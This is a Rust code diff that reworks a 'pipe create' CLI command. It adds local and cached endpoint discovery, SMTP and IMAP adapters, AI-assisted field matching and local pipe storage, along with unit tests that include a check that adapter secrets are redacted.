+    let deployment_hash = request.selector.deployment_hash.as_deref().ok_or_else(|| {
+        CliError::ConfigValidation("Remote discovery requires a deployment hash".to_string())
+    })?;
+    let params = crate::forms::status_panel::ProbeEndpointsCommandRequest {
+        app_code: request.selector.selector.clone(),
+        container: request.selector.container.clone(),
+        protocols: request.protocols_requested.clone(),
+        probe_timeout: 5,
+        capture_samples: request.capture_samples,
+    };
+
+    let agent_request = AgentEnqueueRequest::new(deployment_hash, "probe_endpoints")
+        .with_parameters(&params)
+        .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?;
+    let info = run_agent_command(ctx, &agent_request, description, PROBE_TIMEOUT_SECS)?;
+    if info.status != "completed" {
+        return Ok(info);
+    }
+
+    let mut report = decode_probe_report(&info)?;
+    enrich_probe_report_metadata(
+        &mut report,
+        &request.selector.selector,
+        request.selector.container.as_deref(),
+        request,
+    );
+    with_probe_report(info, &report).map_err(Into::into)
+}
+
+/// True when a probe report discovered any endpoints, forms, or resources.
+fn report_has_findings(report: &ProbeEndpointsCommandReport) -> bool {
+    !report.endpoints.is_empty() || !report.forms.is_empty() || !report.resources.is_empty()
+}
+
+/// Same as [`report_has_findings`] but from a raw completed agent command.
+fn agent_info_has_findings(info: &AgentCommandInfo) -> bool {
+    info.status == "completed"
+        && decode_probe_report(info)
+            .map(|report| report_has_findings(&report))
+            .unwrap_or(false)
+}
+
+/// Choose which resolved container to re-probe directly. Prefers a container
+/// whose name references the app code, otherwise the first resolved container.
+fn pick_fallback_container(report: &ProbeEndpointsCommandReport, app_code: &str) -> Option<String> {
+    if report.containers.is_empty() {
+        return None;
+    }
+    let code = crate::helpers::stacker_labels::sanitize_service_code(app_code);
+    report
+        .containers
+        .iter()
+        .find(|container| container.name.contains(app_code) || container.name.contains(&code))
+        .or_else(|| report.containers.first())
+        .map(|container| container.name.clone())
+}
+
+fn synthetic_transport_target_report(
+    request: &PipeDiscoveryRequest,
+) -> ProbeEndpointsCommandReport {
+    let deployment_hash = request
+        .selector
+        .deployment_hash
+        .clone()
+        .unwrap_or_else(|| "local".to_string());
+
+    ProbeEndpointsCommandReport {
+        command_type: "probe_endpoints".to_string(),
+        deployment_hash,
+        app_code: request.selector.selector.clone(),
+        protocols_detected: Vec::new(),
+        protocols_requested: request.protocols_requested.clone(),
+        containers: Vec::new(),
+        endpoints: Vec::new(),
+        resources: Vec::new(),
+        forms: Vec::new(),
+        probe_attempts: vec![ProbeAttempt {
+            scope: if request.selector.mode == "local" {
+                "local_selector".to_string()
+            } else {
+                "remote_app".to_string()
+            },
+            selector: Some(request.selector.selector.clone()),
+            container: request.selector.container.clone(),
+            protocols: request.protocols_requested.clone(),
+            outcome: "skipped_transport_target".to_string(),
+        }],
+        target_kind: Some("smtp".to_string()),
+        probed_at: Utc::now().to_rfc3339(),
+    }
+}
+
+fn synthetic_transport_target_discovery(
+    request: &PipeDiscoveryRequest,
+) -> Result<DiscoveryRun, Box<dyn std::error::Error>> {
+    let report = synthetic_transport_target_report(request);
+    let info = probe_report_to_agent_info(&report, request.capture_samples)?;
+    Ok(DiscoveryRun {
+        info,
+        source: DiscoverySource::Synthetic,
+    })
+}
+
+fn cache_probe_if_completed(
+    project_dir: &Path,
+    request: &PipeDiscoveryRequest,
+    info: &AgentCommandInfo,
+) -> Result<(), Box<dyn std::error::Error>> {
+    if info.status != "completed" {
+        return Ok(());
+    }
+    let report = decode_probe_report(info)?;
+    write_pipe_scan_cache(project_dir, request, &report)?;
+    Ok(())
+}
+
+fn load_or_run_discovery<F>(
+    project_dir: &Path,
+    request: &PipeDiscoveryRequest,
+    fresh_scan: F,
+) -> Result<DiscoveryRun, Box<dyn std::error::Error>>
+where
+    F: FnOnce() -> Result<AgentCommandInfo, Box<dyn std::error::Error>>,
+{
+    if let Some(info) = load_exact_pipe_scan_cache(project_dir, request)? {
+        return Ok(DiscoveryRun {
+            info,
+            source: DiscoverySource::Cached,
+        });
+    }
+    if let Some(info) = load_latest_pipe_scan_cache(project_dir, &request.selector)? {
+        return Ok(DiscoveryRun {
+            info,
+            source: DiscoverySource::Cached,
+        });
+    }
+
+    let info = fresh_scan()?;
+    cache_probe_if_completed(project_dir, request, &info)?;
+    Ok(DiscoveryRun {
+        info,
+        source: DiscoverySource::Fresh,
+    })
+}
+
+#[cfg(test)]
+mod selectable_operation_tests {
+    use super::*;
+    use serde_json::json;
+    use tempfile::tempdir;
+
+    #[test]
+    fn extract_operations_includes_html_forms_and_container() {
+        let info = AgentCommandInfo {
+            command_id: "local".to_string(),
+            deployment_hash: "local".to_string(),
+            command_type: "probe_endpoints".to_string(),
+            status: "completed".to_string(),
+            priority: "normal".to_string(),
+            parameters: None,
+            result: Some(json!({
+                "app_code": "website",
+                "protocols_detected": ["html_forms"],
+                "endpoints": [],
+                "resources": [],
+                "forms": [{
+                    "container": "local-website-1",
+                    "id": "contact-form",
+                    "action": "/contact",
+                    "method": "POST",
+                    "fields": ["name", "email"]
+                }]
+            })),
+            error: None,
+            created_at: String::new(),
+            updated_at: String::new(),
+        };
+        let ops = extract_operations(&info);
+        assert_eq!(ops.len(), 1);
+        assert_eq!(ops[0].container.as_deref(), Some("local-website-1"));
+        assert_eq!(ops[0].method, "POST");
+        assert_eq!(ops[0].path, "/contact");
+        assert_eq!(ops[0].fields, vec!["name".to_string(), "email".to_string()]);
+    }
+
+    fn sample_report(protocols_requested: Vec<String>) -> ProbeEndpointsCommandReport {
+        ProbeEndpointsCommandReport {
+            command_type: "probe_endpoints".to_string(),
+            deployment_hash: "local".to_string(),
+            app_code: "status-panel-web".to_string(),
+            protocols_detected: protocols_requested.clone(),
+            protocols_requested,
+            containers: vec![],
+            endpoints: vec![],
+            resources: vec![],
+            forms: vec![ProbeForm {
+                container: Some("status-panel-web".to_string()),
+                id: "contact".to_string(),
+                action: "/contact".to_string(),
+                method: "POST".to_string(),
+                fields: vec!["name".to_string(), "email".to_string()],
+            }],
+            probe_attempts: vec![ProbeAttempt {
+                scope: "local_selector".to_string(),
+                selector: Some("status-panel-web".to_string()),
+                container: Some("status-panel-web".to_string()),
+                protocols: vec!["html_forms".to_string()],
+                outcome: "detected".to_string(),
+            }],
+            target_kind: Some("html_form".to_string()),
+            probed_at: "2026-05-01T00:00:00Z".to_string(),
+        }
+    }
+
+    fn probe_container(name: &str) -> crate::forms::status_panel::ProbeContainer {
+        crate::forms::status_panel::ProbeContainer {
+            name: name.to_string(),
+            image: String::new(),
+            network: String::new(),
+            ports: vec![],
+            addresses: vec![],
+        }
+    }
+
+    #[test]
+    fn direct_container_fallback_selects_app_named_container_when_empty() {
+        let mut report = sample_report(vec!["html_forms".to_string()]);
+
+        // A report with findings is not "empty" → no fallback needed.
+        assert!(report_has_findings(&report));
+
+        // Clear findings: now it's an empty app-scoped result.
+        report.forms.clear();
+        assert!(!report_has_findings(&report));
+
+        // With resolved containers, the fallback prefers the one whose name
+        // references the app code, else the first.
+        report.containers = vec![
+            probe_container("project-db-1"),
+            probe_container("project-wordpress-matomo-1"),
+        ];
+        assert_eq!(
+            pick_fallback_container(&report, "wordpress-matomo").as_deref(),
+            Some("project-wordpress-matomo-1")
+        );
+        assert_eq!(
+            pick_fallback_container(&report, "unrelated").as_deref(),
+            Some("project-db-1")
+        );
+
+        // No resolved containers → nothing to fall back to.
+        report.containers.clear();
+        assert!(pick_fallback_container(&report, "wordpress-matomo").is_none());
+    }
+
+    #[test]
+    fn exact_cache_round_trip_reuses_discovery_result() {
+        let dir = tempdir().expect("temp dir");
+        let request =
+            PipeDiscoveryRequest::local("status-panel-web", &["html_forms".to_string()], true);
+        let report = sample_report(vec!["html_forms".to_string()]);
+
+        write_pipe_scan_cache(dir.path(), &request, &report).expect("cache write should succeed");
+        let cached = load_exact_pipe_scan_cache(dir.path(), &request)
+            .expect("cache read should succeed")
+            .expect("exact cache entry should exist");
+
+        assert_eq!(cached.status, "completed");
+        let cached_report = decode_probe_report(&cached).expect("cached report should decode");
+        assert_eq!(cached_report.protocols_requested, vec!["html_forms"]);
+        assert_eq!(cached_report.forms.len(), 1);
+    }
+
+    #[test]
+    fn selector_cache_preserves_narrow_protocol_scope_for_create() {
+        let dir = tempdir().expect("temp dir");
+        let narrow_request =
+            PipeDiscoveryRequest::local("status-panel-web", &["html_forms".to_string()], true);
+        let report = sample_report(vec!["html_forms".to_string()]);
+        write_pipe_scan_cache(dir.path(), &narrow_request, &report)
+            .expect("cache write should succeed");
+
+        let default_request =
+            PipeDiscoveryRequest::local("status-panel-web", &default_pipe_create_protocols(), true);
+        let cached_run = load_or_run_discovery(dir.path(), &default_request, || {
+            panic!("fresh scan should not run when selector cache exists")
+        })
+        .expect("selector cache should be reused");
+
+        assert_eq!(cached_run.source, DiscoverySource::Cached);
+        let cached_report =
+            decode_probe_report(&cached_run.info).expect("cached selector report should decode");
+        assert_eq!(cached_report.protocols_requested, vec!["html_forms"]);
+        assert_eq!(cached_report.forms[0].action, "/contact");
+    }
+
+    #[test]
+    fn unsupported_smtp_target_returns_actionable_guidance() {
+        let info = AgentCommandInfo {
+            command_id: "cached-smtp".to_string(),
+            deployment_hash: "local".to_string(),
+            command_type: "probe_endpoints".to_string(),
+            status: "completed".to_string(),
+            priority: "normal".to_string(),
+            parameters: Some(json!({
+                "app_code": "smtp",
+                "protocols": ["html_forms"],
+                "capture_samples": true
+            })),
+            result: Some(json!({
+                "type": "probe_endpoints",
+                "deployment_hash": "local",
+                "app_code": "smtp",
+                "protocols_detected": [],
+                "protocols_requested": ["html_forms"],
+                "containers": [],
+                "endpoints": [],
+                "resources": [],
+                "forms": [],
+                "probe_attempts": [{
+                    "scope": "local_selector",
+                    "selector": "smtp",
+                    "protocols": ["html_forms"],
+                    "outcome": "empty"
+                }],
+                "target_kind": "smtp",
+                "probed_at": "2026-05-01T00:00:00Z"
+            })),
+            error: None,
+            created_at: String::new(),
+            updated_at: String::new(),
+        };
+
+        let message =
+            explain_no_selectable_operations("smtp", &info, &DeploymentContext::Local, "target");
+
+        assert!(message.contains("SMTP target"));
+        assert!(message.contains("HTTP-capable bridge/webhook target"));
+        assert!(message.contains("stacker pipe scan --containers smtp"));
+    }
+
+    #[test]
+    fn smtp_target_discovery_is_synthetic_for_remote_targets() {
+        let request = PipeDiscoveryRequest::remote(
+            "deployment-123",
+            "smtp",
+            None,
+            &default_pipe_create_protocols(),
+            true,
+        );
+
+        let run = synthetic_transport_target_discovery(&request)
+            .expect("smtp transport target should synthesize discovery");
+        let report = decode_probe_report(&run.info).expect("synthetic report should decode");
+
+        assert_eq!(run.source, DiscoverySource::Synthetic);
+        assert_eq!(run.info.status, "completed");
+        assert_eq!(report.app_code, "smtp");
+        assert_eq!(report.target_kind.as_deref(), Some("smtp"));
+        assert!(report.endpoints.is_empty());
+        assert!(report.forms.is_empty());
+        assert_eq!(report.probe_attempts[0].outcome, "skipped_transport_target");
+    }
+
+    #[test]
+    fn describe_discovery_run_labels_synthetic_results() {
+        let request = PipeDiscoveryRequest::local("smtp", &default_pipe_create_protocols(), true);
+        let run = synthetic_transport_target_discovery(&request)
+            .expect("smtp transport target should synthesize discovery");
+
+        let description = describe_discovery_run(&run);
+
+        assert!(description.contains("synthetic"));
+        assert!(description.contains("protocols:"));
+    }
+
+    #[test]
+    fn builtin_adapter_detection_resolves_source_and_target_roles() {
+        let source = builtin_adapter_for_selector("imap", PipeAdapterRole::Source)
+            .expect("imap source adapter should resolve");
+        let target = builtin_adapter_for_selector("mailhog", PipeAdapterRole::Target)
+            .expect("mailhog smtp target adapter should resolve");
+
+        assert_eq!(source.code, "imap");
+        assert_eq!(source.kind, PipeAdapterKind::ImapSource);
+        assert_eq!(target.code, "mailhog");
+        assert_eq!(target.kind, PipeAdapterKind::SmtpTarget);
+    }
+
+    #[test]
+    fn synthetic_adapter_operation_exposes_expected_mail_fields() {
+        let metadata = builtin_adapter_for_selector("smtp", PipeAdapterRole::Target)
+            .expect("smtp target adapter should resolve");
+        let operation = synthetic_adapter_operation(&metadata);
+
+        assert!(operation.adapter.is_some());
+        assert_eq!(operation.method, "SEND");
+        assert_eq!(operation.path, "adapter:smtp");
+        assert!(operation.fields.contains(&"subject".to_string()));
+        assert!(operation.fields.contains(&"body_text".to_string()));
+    }
+
+    #[test]
+    fn redact_sensitive_json_masks_adapter_secrets() {
+        let mut value = serde_json::json!({
+            "instance": {
+                "target_adapter": {
+                    "code": "smtp",
+                    "config": {
+                        "host": "smtp.example.com",
+                        "password": "supersecret",
+                        "api_key": "key-123"
                     }
                 }
             }
-        }
+        });
+
+        redact_sensitive_json(&mut value);
+
+        assert_eq!(
+            value["instance"]["target_adapter"]["config"]["password"],
+            "[REDACTED]"
+        );
+        assert_eq!(
+            value["instance"]["target_adapter"]["config"]["api_key"],
+            "[REDACTED]"
+        );
+        assert_eq!(
+            value["instance"]["target_adapter"]["config"]["host"],
+            "smtp.example.com"
+        );
     }
-    ops
 }
 
 impl CallableTrait for PipeCreateCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        let ctx = CliRuntime::new("pipe create")?;
-        let hash = resolve_deployment_hash(&self.deployment, &ctx)?;
-
-        // Step 1: Scan both source and target
-        println!(
-            "Scanning source app '{}' and target app '{}'...",
-            self.source, self.target
-        );
-
-        let source_params = crate::forms::status_panel::ProbeEndpointsCommandRequest {
-            app_code: self.source.clone(),
-            container: None,
-            protocols: vec![
-                "openapi".to_string(),
-                "html_forms".to_string(),
-                "rest".to_string(),
-            ],
-            probe_timeout: 5,
-            capture_samples: true,
+        let project_dir = std::env::current_dir().map_err(CliError::Io)?;
+        let (ctx, deploy_ctx) =
+            match resolve_local_deployment_context(&self.deployment, &project_dir)? {
+                Some(local_ctx) => (None, local_ctx),
+                None => {
+                    let ctx = CliRuntime::new("pipe create")?;
+                    let deploy_ctx = resolve_deployment_context(&self.deployment, &ctx)?;
+                    (Some(ctx), deploy_ctx)
+                }
+            };
+        let prefix = mode_prefix(&deploy_ctx);
+        let local_mode = deploy_ctx.is_local();
+        let hash = match &deploy_ctx {
+            DeploymentContext::Remote(h) => Some(h.clone()),
+            DeploymentContext::Local => None,
         };
-
-        let source_request = AgentEnqueueRequest::new(&hash, "probe_endpoints")
-            .with_parameters(&source_params)
-            .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?;
-
-        let source_info = run_agent_command(
-            &ctx,
-            &source_request,
-            &format!("Scanning source: {}", self.source),
-            PROBE_TIMEOUT_SECS,
-        )?;
-
-        let target_params = crate::forms::status_panel::ProbeEndpointsCommandRequest {
-            app_code: self.target.clone(),
-            container: None,
-            protocols: vec!["openapi".to_string(), "rest".to_string()],
-            probe_timeout: 5,
-            capture_samples: true,
+        let create_protocols = default_pipe_create_protocols();
+
+        let source_adapter_meta =
+            builtin_adapter_for_selector(&self.source, PipeAdapterRole::Source);
+        let target_adapter_meta =
+            builtin_adapter_for_selector(&self.target, PipeAdapterRole::Target);
+
+        let source_run = if source_adapter_meta.is_none() {
+            Some(if local_mode {
+                println!(
+                    "{}Preparing local discovery for source '{}'...",
+                    prefix, self.source
+                );
+                let source_request =
+                    PipeDiscoveryRequest::local(&self.source, &create_protocols, true);
+                load_or_run_discovery(&project_dir, &source_request, || {
+                    prepare_local_discovery(&project_dir, &source_request)
+                })?
+            } else {
+                let ctx = ctx.as_ref().expect("remote runtime");
+                let remote_hash = hash.clone().expect("remote hash");
+                println!("Preparing discovery for source app '{}'...", self.source);
+                let source_request = PipeDiscoveryRequest::remote(
+                    &remote_hash,
+                    &self.source,
+                    None,
+                    &create_protocols,
+                    true,
+                );
+                load_or_run_discovery(&project_dir, &source_request, || {
+                    run_remote_probe(
+                        &ctx,
+                        &source_request,
+                        &format!("Scanning source: {}", self.source),
+                    )
+                })?
+            })
+        } else {
+            None
+        };
+        let target_run = if target_adapter_meta.is_none() {
+            Some(if local_mode {
+                println!(
+                    "{}Preparing local discovery for target '{}'...",
+                    prefix, self.target
+                );
+                let target_request =
+                    PipeDiscoveryRequest::local(&self.target, &create_protocols, true);
+                load_or_run_discovery(&project_dir, &target_request, || {
+                    prepare_local_discovery(&project_dir, &target_request)
+                })?
+            } else {
+                let ctx = ctx.as_ref().expect("remote runtime");
+                let remote_hash = hash.clone().expect("remote hash");
+                println!("Preparing discovery for target app '{}'...", self.target);
+                let target_request = PipeDiscoveryRequest::remote(
+                    &remote_hash,
+                    &self.target,
+                    None,
+                    &create_protocols,
+                    true,
+                );
+                load_or_run_discovery(&project_dir, &target_request, || {
+                    run_remote_probe(
+                        &ctx,
+                        &target_request,
+                        &format!("Scanning target: {}", self.target),
+                    )
+                })?
+            })
+        } else {
+            None
         };
 
-        let target_request = AgentEnqueueRequest::new(&hash, "probe_endpoints")
-            .with_parameters(&target_params)
-            .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?;
-
-        let target_info = run_agent_command(
-            &ctx,
-            &target_request,
-            &format!("Scanning target: {}", self.target),
-            PROBE_TIMEOUT_SECS,
-        )?;
+        if let Some(run) = &source_run {
+            println!("  Source discovery: {}", describe_discovery_run(run));
+        } else if let Some(metadata) = &source_adapter_meta {
+            println!(
+                "  Source adapter: {} ({})",
+                metadata.display_name, metadata.code
+            );
+        }
+        if let Some(run) = &target_run {
+            println!("  Target discovery: {}", describe_discovery_run(run));
+        } else if let Some(metadata) = &target_adapter_meta {
+            println!(
+                "  Target adapter: {} ({})",
+                metadata.display_name, metadata.code
+            );
+        }
 
-        if source_info.status != "completed" || target_info.status != "completed" {
+        if source_run
+            .as_ref()
+            .is_some_and(|run| run.info.status != "completed")
+            || target_run
+                .as_ref()
+                .is_some_and(|run| run.info.status != "completed")
+        {
             eprintln!("Scan failed for one or both apps. Cannot create pipe.");
-            if source_info.status != "completed" {
-                eprintln!("  Source '{}': {}", self.source, source_info.status);
+            if let Some(run) = &source_run {
+                if run.info.status != "completed" {
+                    eprintln!("  Source '{}': {}", self.source, run.info.status);
+                }
             }
-            if target_info.status != "completed" {
-                eprintln!("  Target '{}': {}", self.target, target_info.status);
+            if let Some(run) = &target_run {
+                if run.info.status != "completed" {
+                    eprintln!("  Target '{}': {}", self.target, run.info.status);
+                }
             }
             return Ok(());
         }
 
         // Step 2: Extract discovered endpoints
-        let source_ops = extract_operations(&source_info);
-        let target_ops = extract_operations(&target_info);
+        let source_ops = if let Some(metadata) = &source_adapter_meta {
+            vec![synthetic_adapter_operation(metadata)]
+        } else {
+            extract_operations(&source_run.as_ref().expect("source discovery").info)
+        };
+        let target_ops = if let Some(metadata) = &target_adapter_meta {
+            vec![synthetic_adapter_operation(metadata)]
+        } else {
+            extract_operations(&target_run.as_ref().expect("target discovery").info)
+        };
 
         if source_ops.is_empty() {
-            eprintln!("No endpoints discovered on source app '{}'. Cannot create pipe.", self.source);
+            eprintln!(
+                "{}",
+                explain_no_selectable_operations(
+                    &self.source,
+                    &source_run.as_ref().expect("source discovery").info,
+                    &deploy_ctx,
+                    "source",
+                )
+            );
             return Ok(());
         }
         if target_ops.is_empty() {
-            eprintln!("No endpoints discovered on target app '{}'. Cannot create pipe.", self.target);
+            eprintln!(
+                "{}",
+                explain_no_selectable_operations(
+                    &self.target,
+                    &target_run.as_ref().expect("target discovery").info,
+                    &deploy_ctx,
+                    "target",
+                )
+            );
             return Ok(());
         }
 
         // Step 3: Let user select source endpoint
-        let source_labels: Vec<String> = source_ops
-            .iter()
-            .map(|(m, p, s, _, _)| {
-                if s.is_empty() {
-                    format!("{:>6} {}", m, p)
-                } else {
-                    format!("{:>6} {} — {}", m, p, s)
-                }
-            })
-            .collect();
-
-        println!("\n  Select source endpoint (data comes FROM here):");
-        let source_idx = dialoguer::Select::new()
-            .items(&source_labels)
-            .default(0)
-            .interact()?;
-
-        let (ref src_method, ref src_path, _, ref src_fields, ref src_sample) = source_ops[source_idx];
+        let source_idx = if source_ops.len() == 1 {
+            println!(
+                "\n  Using source {}",
+                operation_label(source_ops.first().expect("single source op"))
+            );
+            0
+        } else {
+            let source_labels = operation_labels(&source_ops);
+            println!("\n  Select source endpoint (data comes FROM here):");
+            dialoguer::Select::new()
+                .items(&source_labels)
+                .default(0)
+                .interact()?
+        };
+        let src_op = &source_ops[source_idx];
+        let src_method = &src_op.method;
+        let src_path = &src_op.path;
+        let src_fields = &src_op.fields;
+        let src_sample = &src_op.sample;
 
         // Step 4: Let user select target endpoint
-        let target_labels: Vec<String> = target_ops
-            .iter()
-            .map(|(m, p, s, _, _)| {
-                if s.is_empty() {
-                    format!("{:>6} {}", m, p)
-                } else {
-                    format!("{:>6} {} — {}", m, p, s)
-                }
-            })
-            .collect();
-
-        println!("\n  Select target endpoint (data goes TO here):");
-        let target_idx = dialoguer::Select::new()
-            .items(&target_labels)
-            .default(0)
-            .interact()?;
-
-        let (ref tgt_method, ref tgt_path, _, ref tgt_fields, ref _tgt_sample) = target_ops[target_idx];
+        let target_idx = if target_ops.len() == 1 {
+            println!(
+                "\n  Using target {}",
+                operation_label(target_ops.first().expect("single target op"))
+            );
+            0
+        } else {
+            let target_labels = operation_labels(&target_ops);
+            println!("\n  Select target endpoint (data goes TO here):");
+            dialoguer::Select::new()
+                .items(&target_labels)
+                .default(0)
+                .interact()?
+        };
+        let tgt_op = &target_ops[target_idx];
+        let tgt_method = &tgt_op.method;
+        let tgt_path = &tgt_op.path;
+        let tgt_fields = &tgt_op.fields;
 
         // Step 5: Build field mapping (smart matching with sample data)
-        let field_mapping = if !self.manual && !src_fields.is_empty() && !tgt_fields.is_empty() {
-            println!("\n  Auto-matching fields (source → target):");
-            let mapping = smart_field_match(src_fields, tgt_fields, src_sample.as_ref());
+        let (field_mapping, match_result) = if !self.manual
+            && !src_fields.is_empty()
+            && !tgt_fields.is_empty()
+        {
+            let matcher = select_field_matcher(self.ai, self.no_ai, self.ml);
+            let result = matcher.match_fields(src_fields, tgt_fields, src_sample.as_ref());
+            let mode_label = match result.mode {
+                crate::cli::field_matcher::MatchingMode::Ai => "AI",
+                crate::cli::field_matcher::MatchingMode::Deterministic => "deterministic",
+                crate::cli::field_matcher::MatchingMode::Ml => "ML",
+            };
+            println!(
+                "\n  Auto-matching fields ({} mode, source → target):",
+                mode_label
+            );
 
-            let matched: Vec<String> = mapping
+            let matched: Vec<String> = result
+                .mapping
                 .as_object()
                 .map(|m| {
                     m.iter()
                         .map(|(k, v)| {
                             let src = v.as_str().unwrap_or("?");
-                            format!("    {} ← {} ✓", k, src)
+                            let conf = result.confidence.get(k).copied().unwrap_or(1.0);
+                            if conf < 1.0 {
+                                format!("    {} ← {} (confidence: {:.0}%) ✓", k, src, conf * 100.0)
+                            } else {
+                                format!("    {} ← {} ✓", k, src)
+                            }
                         })
                         .collect()
                 })
@@ -562,8 +3373,17 @@ impl CallableTrait for PipeCreateCommand {
                 println!("{}", line);
             }
 
+            // Show transformation suggestions from AI
+            for suggestion in &result.suggestions {
+                println!(
+                    "    💡 {}: {} — {}",
+                    suggestion.target_field, suggestion.expression, suggestion.description
+                );
+            }
+
             // Show unmatched target fields
-            let matched_keys: Vec<&str> = mapping
+            let matched_keys: Vec<&str> = result
+                .mapping
                 .as_object()
                 .map(|m| m.keys().map(|k| k.as_str()).collect())
                 .unwrap_or_default();
@@ -572,28 +3392,32 @@ impl CallableTrait for PipeCreateCommand {
                 .filter(|f| !matched_keys.contains(&f.as_str()))
                 .collect();
             if !unmatched.is_empty() {
-                println!("    Unmatched target fields: {}", unmatched.iter().map(|s| s.as_str()).collect::<Vec<_>>().join(", "));
+                println!(
+                    "    Unmatched target fields: {}",
+                    unmatched
+                        .iter()
+                        .map(|s| s.as_str())
+                        .collect::<Vec<_>>()
+                        .join(", ")
+                );
                 println!("    (You can edit the field mapping later via the API)");
             }
 
             if matched_keys.is_empty() {
-                // No auto-matches — create pass-through
                 println!("    No auto-matches found. Creating pass-through mapping.");
                 let mut pass = serde_json::Map::new();
                 for sf in src_fields {
-                    pass.insert(
-                        sf.clone(),
-                        serde_json::Value::String(format!("$.{}", sf)),
-                    );
+                    pass.insert(sf.clone(), serde_json::Value::String(format!("$.{}", sf)));
                 }
-                serde_json::Value::Object(pass)
+                (serde_json::Value::Object(pass), Some(result))
             } else {
-                mapping
+                let mapping = result.mapping.clone();
+                (mapping, Some(result))
             }
         } else {
             // Manual mode or no fields discovered
             println!("\n  No field auto-matching available. Creating identity mapping.");
-            serde_json::json!({})
+            (serde_json::json!({}), None)
         };
 
         // Step 6: Ask for pipe name
@@ -603,7 +3427,33 @@ impl CallableTrait for PipeCreateCommand {
             .default(default_name)
             .interact_text()?;
 
-        // Step 7: Create template via API
+        // Step 7: Create template via API — include matching metadata in config
+        let mut config = serde_json::json!({"retry_count": 3});
+        if let Some(ref result) = match_result {
+            config["matching_mode"] = serde_json::Value::String(result.mode.to_string());
+            if !result.confidence.is_empty() {
+                let conf_map: serde_json::Map<String, serde_json::Value> = result
+                    .confidence
+                    .iter()
+                    .map(|(k, v)| (k.clone(), serde_json::json!(v)))
+                    .collect();
+                config["field_confidence"] = serde_json::Value::Object(conf_map);
+            }
+            if !result.suggestions.is_empty() {
+                config["transformations"] = serde_json::json!(result
+                    .suggestions
+                    .iter()
+                    .map(|s| {
+                        serde_json::json!({
+                            "target": s.target_field,
+                            "expr": s.expression,
+                            "description": s.description,
+                        })
+                    })
+                    .collect::<Vec<_>>());
+            }
+        }
+
         let template_request = CreatePipeTemplateApiRequest {
             name: pipe_name.clone(),
             description: Some(format!(
@@ -611,42 +3461,163 @@ impl CallableTrait for PipeCreateCommand {
                 src_method, src_path, tgt_method, tgt_path
             )),
             source_app_type: self.source.clone(),
-            source_endpoint: serde_json::json!({
-                "path": src_path,
-                "method": src_method,
-            }),
+            source_endpoint: template_endpoint_for_operation(src_op),
             target_app_type: self.target.clone(),
-            target_endpoint: serde_json::json!({
-                "path": tgt_path,
-                "method": tgt_method,
-            }),
+            target_endpoint: template_endpoint_for_operation(tgt_op),
             target_external_url: None,
             field_mapping: field_mapping.clone(),
-            config: Some(serde_json::json!({"retry_count": 3})),
+            config: Some(config),
             is_public: Some(false),
         };
 
+        let source_container_name = if let Some(adapter) = &src_op.adapter {
+            adapter.code.clone()
+        } else if local_mode {
+            local_container_for_operation(src_op, &self.source)
+        } else {
+            self.source.clone()
+        };
+        let local_target_container_name = if tgt_op.adapter.is_some() {
+            None
+        } else if local_mode {
+            Some(local_container_for_operation(tgt_op, &self.target))
+        } else {
+            Some(self.target.clone())
+        };
+        let (source_adapter, _) = if let Some(metadata) = &src_op.adapter {
+            prompt_adapter_reference(metadata)?
+        } else {
+            (PipeAdapterReference::new(""), None)
+        };
+        let source_adapter = src_op.adapter.as_ref().map(|_| source_adapter);
+        let (target_adapter, adapter_target_url) = if let Some(metadata) = &tgt_op.adapter {
+            prompt_adapter_reference(metadata)?
+        } else {
+            (PipeAdapterReference::new(""), None)
+        };
+        let target_adapter = tgt_op.adapter.as_ref().map(|_| target_adapter);
+        let target_url = if target_adapter.is_some() {
+            adapter_target_url
+        } else {
+            None
+        };
+
+        if local_mode {
+            let store = LocalPipeStore::new(&project_dir);
+            let mut notes = Vec::new();
+            if let Some(run) = &source_run {
+                notes.push(format!("source discovery: {}", describe_discovery_run(run)));
+            }
+            if let Some(run) = &target_run {
+                notes.push(format!("target discovery: {}", describe_discovery_run(run)));
+            }
+
+            let local_pipe = LocalPipeDocument::draft(NewLocalPipeDocument {
+                name: pipe_name.clone(),
+                source: LocalPipeBinding {
+                    selector: self.source.clone(),
+                    container: src_op.container.clone(),
+                    adapter: source_adapter.clone(),
+                    method: src_method.clone(),
+                    path: src_path.clone(),
+                    fields: src_fields.clone(),
+                },
+                target: LocalPipeBinding {
+                    selector: self.target.clone(),
+                    container: tgt_op.container.clone(),
+                    adapter: target_adapter.clone(),
+                    method: tgt_method.clone(),
+                    path: tgt_path.clone(),
+                    fields: tgt_fields.clone(),
+                },
+                template: LocalPipeTemplate {
+                    description: template_request.description.clone(),
+                    source_app_type: template_request.source_app_type.clone(),
+                    source_endpoint: template_request.source_endpoint.clone(),
+                    target_app_type: template_request.target_app_type.clone(),
+                    target_endpoint: template_request.target_endpoint.clone(),
+                    target_external_url: template_request.target_external_url.clone(),
+                    field_mapping: template_request.field_mapping.clone(),
+                    config: template_request.config.clone(),
+                    is_public: template_request.is_public.unwrap_or(false),
+                },
+                instance: LocalPipeInstance {
+                    source_adapter: source_adapter.clone(),
+                    source_container: source_container_name.clone(),
+                    target_adapter: target_adapter.clone(),
+                    target_container: local_target_container_name.clone(),
+                    target_url: target_url.clone(),
+                    field_mapping_override: None,
+                    config_override: None,
+                    trigger_count: 0,
+                    error_count: 0,
+                    last_triggered_at: None,
+                },
+                diagnostics: LocalPipeDiagnostics { notes },
+            })?;
+            let path = store.save_new(&local_pipe)?;
+
+            if self.json {
+                let mut output = serde_json::json!({
+                    "local": true,
+                    "path": path.display().to_string(),
+                    "pipe": local_pipe,
+                });
+                redact_sensitive_json(&mut output);
+                println!("{}", serde_json::to_string_pretty(&output)?);
+            } else {
+                println!(
+                    "\n  {}✓ Local pipe '{}' created successfully",
+                    prefix, pipe_name
+                );
+                println!("  Local ID:     {}", local_pipe.id);
+                println!("  File:         {}", path.display());
+                println!(
+                    "  Source:       {} ({})",
+                    local_pipe.source_display(),
+                    src_path
+                );
+                println!(
+                    "  Target:       {} ({})",
+                    local_pipe.target_display(),
+                    tgt_path
+                );
+                println!("  Status:       {}", local_pipe.status);
+                println!("  Mapping:      {}", serde_json::to_string(&field_mapping)?);
+                println!(
+                    "  Promote:      stacker pipe deploy {} <deployment_hash>",
+                    local_pipe.id
+                );
+            }
+
+            return Ok(());
+        }
+
+        let ctx = ctx.as_ref().expect("remote runtime");
         let pb = progress::spinner("Creating pipe template...");
